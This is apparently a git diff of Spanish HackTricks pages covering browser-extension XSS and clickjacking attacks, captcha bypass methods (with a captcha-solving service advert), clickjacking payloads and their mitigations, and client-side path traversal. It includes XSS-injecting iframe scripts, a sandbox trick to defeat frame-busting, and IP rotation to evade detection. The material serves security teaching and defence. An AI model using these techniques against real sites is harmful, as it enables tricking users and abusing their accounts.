Los navegadores podrían limitar aún más el uso indebido de los privilegios de extensión. Por ejemplo, las APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede activarse a través de interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere confirmación del usuario para que la ventana sea grabada, evitando actividades de grabación clandestinas.
Sin embargo, el fortalecimiento de las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El permiso [activeTab](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones soliciten privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual mediante activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
Sin embargo, el fortalecimiento de las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El permiso [activeTab](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones soliciten privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual al ser activada explícitamente por el usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
## **Referencias**
@ -131,9 +131,9 @@ Sin embargo, el fortalecimiento de las medidas de seguridad a menudo resulta en
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -37,7 +37,7 @@ chrome.tabs.create({ url: destinationURL });
});
});
```
Se ejecuta un script malicioso en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
@ -63,7 +63,7 @@ document.body.append(newFrame);
```
## XSS basado en DOM + ClickJacking
Este ejemplo fue tomado del [artículo original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Este ejemplo fue tomado del [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación:
```javascript
@ -82,13 +82,13 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se agrega al DOM utilizando la función `.append()` de jQuery.
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se añade al DOM utilizando la función `.append()` de jQuery.
Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con 'unsafe-eval'** y al uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible.
Si bien esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, ingresar un payload XSS y activar el botón "Agregar".
Aunque esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, introducir un payload XSS y activar el botón "Agregar".
Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una política extensa de `web_accessible_resources`:
Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una extensa política `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@ -98,7 +98,7 @@ Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **
[...]
],
```
Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencional.
Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencionada.
## Referencias
@ -111,10 +111,10 @@ Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, po
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -1,31 +1,31 @@
# Salto de Captcha
# Saltar Captcha
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Salto de Captcha
## Saltar Captcha
Para **saltar** el captcha durante la **prueba del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear diversas técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí tienes una lista completa de estrategias:
1. **Manipulación de Parámetros**:
* **Omitir el Parámetro del Captcha**: Evita enviar el parámetro del captcha. Experimenta cambiando el método HTTP de POST a GET u otros verbos, y alterando el formato de los datos, como cambiar entre datos de formulario y JSON.
* **Omitir el Parámetro del Captcha**: Evita enviar el parámetro del captcha. Experimenta cambiando el método HTTP de POST a GET u otros verbos, y alterando el formato de los datos, como alternar entre datos de formulario y JSON.
* **Enviar Captcha Vacío**: Envía la solicitud con el parámetro del captcha presente pero vacío.
2. **Extracción y Reutilización de Valores**:
* **Inspección del Código Fuente**: Busca el valor del captcha dentro del código fuente de la página.
* **Análisis de Cookies**: Examina las cookies para ver si el valor del captcha se almacena y se reutiliza.
* **Reutilizar Valores Antiguos de Captcha**: Intenta usar valores de captcha previamente exitosos nuevamente.
* **Reutilizar Valores Antiguos de Captcha**: Intenta usar valores de captcha exitosos previamente.
* **Manipulación de Sesiones**: Intenta usar el mismo valor de captcha en diferentes sesiones o en la misma ID de sesión.
3. **Automatización y Reconocimiento**:
@ -35,9 +35,9 @@ Para **saltar** el captcha durante la **prueba del servidor** y automatizar las
* Utiliza herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres desde imágenes.
4. **Técnicas Adicionales**:
* **Prueba de Límite de Tasa**: Verifica si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede saltar o restablecer.
* **Pruebas de Límite de Tasa**: Verifica si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede saltar o reiniciar.
* **Servicios de Terceros**: Utiliza servicios o APIs de resolución de captchas que ofrecen reconocimiento y resolución automatizados de captchas.
* **Rotación de Sesiones e IP**: Cambia frecuentemente las IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
* **Rotación de Sesiones e IPs**: Cambia frecuentemente las IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
* **Manipulación de User-Agent y Cabeceras**: Altera el User-Agent y otras cabeceras de solicitud para imitar diferentes navegadores o dispositivos.
* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utiliza servicios de conversión de voz a texto para interpretar y resolver el captcha.
@ -48,6 +48,6 @@ Para **saltar** el captcha durante la **prueba del servidor** y automatizar las
El solucionador automático de captchas de Capsolver ofrece la **solución más asequible y rápida para resolver captchas**. Puedes integrarlo rápidamente con tu programa utilizando su opción de integración sencilla para obtener los mejores resultados en cuestión de segundos.
Con una tasa de éxito del 99.15%, Capsolver puede **responder a más de 10 millones de captchas cada minuto**. Esto implica que tu automatización o scraping tendrá un tiempo de actividad del 99.99%. Puedes comprar un paquete de captcha si tienes un presupuesto amplio.
Con una tasa de éxito del 99.15%, Capsolver puede **responder a más de 10 millones de captchas cada minuto**. Esto implica que tu automatización o scraping tendrá un tiempo de actividad del 99.99%. Puedes adquirir un paquete de captchas si tienes un presupuesto amplio.
Al precio más bajo del mercado, puedes obtener una variedad de soluciones, incluyendo reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, captchas de datadome, captchas de aws, imagen a texto, captcha de binance / coinmarketcap, geetest v3 / v3, y más. Con este servicio, **0.1s es la velocidad más lenta jamás medida**.
Al precio más bajo del mercado, puedes recibir una variedad de soluciones, incluyendo reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, captchas de datadome, captchas de aws, imagen a texto, captcha de binance / coinmarketcap, geetest v3 / v3, y más. Con este servicio, **0.1s es la velocidad más lenta jamás medida**.

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -18,13 +18,13 @@ Otras formas de apoyar a HackTricks:
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy:
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es el Clickjacking
## ¿Qué es el Clickjacking?
En un ataque de clickjacking, un **usuario** es **engañado** para **hacer clic** en un **elemento** en una página web que está **invisible** o disfrazado como un elemento diferente. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, provisión de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
En un ataque de clickjacking, un **usuario** es **engañado** para **hacer clic** en un **elemento** en una página web que está **invisible** o disfrazado como un elemento diferente. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, suministro de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
### Truco de prellenado de formularios
@ -33,7 +33,7 @@ A veces es posible **rellenar el valor de campos de un formulario utilizando par
### Rellenar formulario con Arrastrar y Soltar
Si necesitas que el usuario **llene un formulario** pero no deseas pedirle directamente que escriba información específica (como el correo electrónico y/o una contraseña específica que conozcas), simplemente puedes pedirle que **Arrastre y Suelte** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
Si necesitas que el usuario **llene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), simplemente puedes pedirle que **Arrastre y Suelte** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Carga Básica de Payload
```markup
@ -113,7 +113,7 @@ background: #F00;
Si has identificado un ataque de **XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable al clickjacking**, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.
Ejemplo:
_Encontraste un **auto XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes configurar y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** al **clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._
\_\_Un atacante podría preparar un ataque de **clickjacking** a esa página **prellenando** el **formulario** con el **payload XSS** y **engañando** al **usuario** para que **envíe** el formulario. Entonces, **cuando se envíe el formulario** y los valores se modifiquen, el **usuario ejecutará el XSS**.
__Un atacante podría preparar un ataque de **clickjacking** a esa página **prellenando** el **formulario** con el **payload XSS** y **engañando** al **usuario** para que **envíe** el formulario. Entonces, **cuando se envíe el formulario** y los valores se modifiquen, el **usuario ejecutará el XSS**.
## Estrategias para Mitigar el Clickjacking
@ -121,7 +121,7 @@ _Encontraste un **auto XSS** en algunos detalles privados de la cuenta (detalles
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:
* Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
* Asegurar que la ventana de la aplicación sea la ventana principal o superior.
* Hacer que todos los marcos sean visibles.
* Prevenir clics en marcos invisibles.
* Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
@ -129,7 +129,7 @@ Los scripts ejecutados en el lado del cliente pueden realizar acciones para prev
Sin embargo, estos scripts de rompimiento de marcos pueden ser eludidos:
* **Configuraciones de Seguridad de los Navegadores:** Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o falta de soporte de JavaScript.
* **Atributo `sandbox` del iframe de HTML5:** Un atacante puede neutralizar los scripts de rompimiento de marcos configurando el atributo `sandbox` con los valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto evita que el iframe verifique si es la ventana superior, por ejemplo.
* **Atributo `sandbox` de iframe de HTML5:** Un atacante puede neutralizar los scripts de rompimiento de marcos configurando el atributo `sandbox` con los valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto evita que el iframe verifique si es la ventana superior, por ejemplo.
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
@ -142,11 +142,11 @@ El encabezado de respuesta HTTP **`X-Frame-Options`** informa a los navegadores
- `X-Frame-Options: deny` - Ningún dominio puede enmarcar el contenido.
- `X-Frame-Options: sameorigin` - Solo el sitio actual puede enmarcar el contenido.
- `X-Frame-Options: allow-from https://trusted.com` - Solo el 'uri' especificado puede enmarcar la página.
- Nota las limitaciones: si el navegador no admite esta directiva, es posible que no funcione. Algunos navegadores prefieren la directiva de ancestros de marco CSP.
- Nota las limitaciones: si el navegador no admite esta directiva, es posible que no funcione. Algunos navegadores prefieren la directiva CSP frame-ancestors.
#### Directiva `frame-ancestors` de la Política de Seguridad de Contenido (CSP)
La **directiva `frame-ancestors` en CSP** es el método recomendado para la protección contra Clickjacking:
La **directiva `frame-ancestors` en CSP** es el método recomendado para la protección contra el Clickjacking:
- `frame-ancestors 'none'` - Similar a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Similar a `X-Frame-Options: sameorigin`.
@ -156,15 +156,15 @@ Por ejemplo, la siguiente CSP solo permite enmarcar desde el mismo dominio:
`Content-Security-Policy: frame-ancestors 'self';`
Se pueden encontrar más detalles y ejemplos complejos en la [documentación de CSP de ancestros de marco](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) y en la [documentación de CSP de ancestros de marco de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
Se pueden encontrar más detalles y ejemplos complejos en la [documentación de CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) y en la [documentación de Mozilla sobre CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Política de Seguridad de Contenido (CSP) con `child-src` y `frame-src`
La **Política de Seguridad de Contenido (CSP)** es una medida de seguridad que ayuda a prevenir el Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador cargar contenido.
#### Directiva `frame-src`
- Define fuentes válidas para marcos.
- Más específico que la directiva `default-src`.
- Define fuentes válidas para frames.
- Más específica que la directiva `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
@ -183,7 +183,7 @@ Este documento permite marcos y workers del mismo origen (self) y https://truste
- Comportamiento de Respaldo: Si frame-src está ausente, child-src se utiliza como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
- Definición estricta de la fuente: Incluir solo fuentes confiables en las directivas para prevenir la explotación.
#### Scripts JavaScript de Rompimiento de Marcos
#### Scripts de JavaScript para Romper Marcos
Aunque no son completamente infalibles, los scripts de rompimiento de marcos basados en JavaScript pueden ser utilizados para evitar que una página web sea enmarcada. Ejemplo:
```javascript
@ -193,7 +193,7 @@ top.location = self.location;
```
#### Empleo de Tokens Anti-CSRF
* **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para garantizar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
* **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
## Referencias
@ -210,14 +210,14 @@ Obtenga acceso hoy:
<details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,7 +1,23 @@
# Traversal de Ruta del Lado del Cliente
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Información Básica
Una manipulación de ruta del lado del cliente ocurre cuando se puede **manipular la ruta de una URL** que va a ser **enviada a un usuario para que la visite de manera legítima** o que un usuario de alguna manera va a ser **forzado a visitar, por ejemplo, a través de JS o CSS**.
Un traversal de ruta del lado del cliente ocurre cuando puedes **manipular la ruta de una URL** que va a ser **enviada a un usuario para visitar de manera legítima** o que un usuario de alguna manera va a ser **forzado a visitar, por ejemplo a través de JS o CSS**.
En [**este informe**](https://erasec.be/blog/client-side-path-manipulation/), fue posible **cambiar la URL de invitación** para que terminara **cancelando una tarjeta**.
En [**este informe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), fue posible combinar una **manipulación de ruta del lado del cliente a través de CSS** (fue posible cambiar la ruta desde donde se cargaba un recurso CSS) con una **redirección abierta** para cargar el recurso CSS desde un **dominio controlado por el atacante**.
En [**este informe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), fue posible combinar un **traversal de ruta del lado del cliente a través de CSS** (fue posible cambiar la ruta desde donde se cargaba un recurso CSS) con una **redirección abierta** para cargar el recurso CSS desde un **dominio controlado por el atacante**.

View file

@ -4,10 +4,10 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
